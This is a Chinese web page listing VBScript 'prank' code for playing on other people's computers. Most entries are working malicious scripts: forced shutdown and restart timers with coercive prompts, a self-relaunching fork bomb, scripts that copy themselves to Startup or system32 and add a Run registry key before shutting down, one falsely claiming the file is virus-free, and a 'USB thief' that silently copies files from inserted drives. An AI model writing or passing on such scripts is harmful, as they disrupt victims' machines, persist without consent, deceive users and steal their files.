浙江龙网

  1. 首页 > 生活百科 > >

三十二个vbs整蛊代码 整人代码大全( 二 )

创业资源


dim a a=10 Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 10",,true Set s = CreateObject("sapi.spvoice") while a s.Speak a a = a - 1 wscript.sleep 100 wend CreateObject("SAPI.SpVoice").Speak "Bomb?"复制代码如下:
do createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34) loop复制代码如下:
msgbox"此文件无毒，请放心使用 。",vbretrycancel,"系统提示 。" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -s -t 300" wscript.sleep 2000 dim a do a=inputbox("输入abc，否则关机 。") if a="abc" then msgbox" 很遗憾，你中招了，这是整人程序，你就等着关机吧！" exit do else msgbox"乖点，输入abc" end if loop复制代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试"" ",0 ,true dim a do while(a"我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox "乖" loop msgbox "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox "自己骂自己的不要脸~~~~~~",4, " "复制代码如下:
msgbox"你是不是很无聊啊？",4 msgbox"我来陪你玩会儿" msgbox"做好玩儿的准备吧！" do msgbox"你无聊吗?",vbinformation,"你无聊吗？" loop【三十二个vbs整蛊代码整人代码大全】复制代码如下:
on error resume next set wr=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") set f = wr.getfile(wscript.scriptfullname) q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true ws.run"shutdown -p&qu创业网ot;,vbhide 这个太可恶了 只好重启复制代码如下:
set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop复制代码如下:
Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject("WScript.shell") RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\" Type_Name = "REG_SZ" Key_Name = "QUESTION.vbS" Key_data = "C:\windows\system32\QUESTION.vbs" AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name Dim fso,file Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.getfile(WScript.ScriptFullName) file.copy "c:\windows\system32\" Set fso = CreateObject("Scripting.FileSystemObject") f = fso.DeleteFile(WScript.ScriptName) Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true复制代码如下:
set wmp=createobject("wmplayer.ocx") set cd=wmp.cdromcollection.item(0) do cd.eject loop复制代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我声爹，快喊"" ",0 ,true dim a do while(a"爹") a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "儿子" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "等下老爹买棒棒糖给你吃"复制代码如下:
on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说你爱我，不说你爱我就两分钟关你机，不信，试试"" ",0 ,true dim a do while(a"我爱你") a = inputbox ("说你爱我,就不关机，快撒，说 ""你爱我"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，何必这么费劲" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真过瘾复制代码如下:
i = MsgBox("由于你灌水太水需要爆破电脑 。"&_ vbCrLf&"确定爆破吗？",vbOKCancel,_ "爆破电脑系统！！！！！") if i = 1 then CreateObject("SAPI.SpVoice").Speak "bone" end if复制代码如下:
On Error Resume Next Dim i i=0 Set fso=CreateObject("Scripting.FileSystemObject") IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:") ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt") MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗") fso.CreateFolder(MyFolder) Do WScript.Sleep 1000 If fso.FolderExists(IP & "\") Then Exit Do Loop Scan(IP & "\") Sub Scan(Folder_) On Error Resume Next Set Folder_=fso.GetFolder(Folder_) Set Files=Folder_.Files For Each File in Files ext_=fso.GetExtensionName(File) ext_=Lcase(ext_) ext=Lcase(ext) If ext_=ext Then i=i+1 fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name) End If Next Set SubFolders=Folder_.SubFolders For Each SubFolder In SubFolders Scan(Subfolder) Next End Sub

推荐阅读


上一篇：猫眼电影余额在哪里查 猫眼电影怎么退票退款?

下一篇：全球面积排名前三的城市 世界城市面积排名